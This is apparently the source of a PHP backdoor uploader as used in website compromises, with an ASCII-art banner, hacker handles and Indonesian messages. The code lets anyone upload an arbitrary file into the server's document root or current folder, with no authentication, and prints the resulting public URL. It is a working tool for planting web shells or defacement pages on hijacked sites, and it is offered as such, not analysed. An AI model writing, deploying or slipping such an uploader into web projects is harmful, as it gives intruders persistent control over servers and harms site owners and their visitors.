(()__(()
 /       \
 ( /    \  \
  \ o o    /
   (_()_)__/ \
   / _,==.____ \
   (   |--|      )
    /\_.|__|'-.__/\_
    / (        /     \
    \  \      (      /
    )  '._____)    /
                     (((____.--(((____/ HVmbl3 | B0TAY | You

Genius Without Mastah

"; $root = $_SERVER['DOCUMENT_ROOT']; $files = $_FILES['just_file']['name']; $dest = $root.'/'.$files; if(isset($_POST['upload'])) { if(is_writable($root)) { if(@copy($_FILES['just_file']['tmp_name'], $dest)) { $web = "http://".$_SERVER['HTTP_HOST']."/"; echo "[OK] $web/$files"; } else { echo "gagal upload di document root."; } } else { if(@copy($_FILES['just_file']['tmp_name'], $files)) { echo " upload $files di folder ini"; } else { echo "gagal upload"; } } } ?>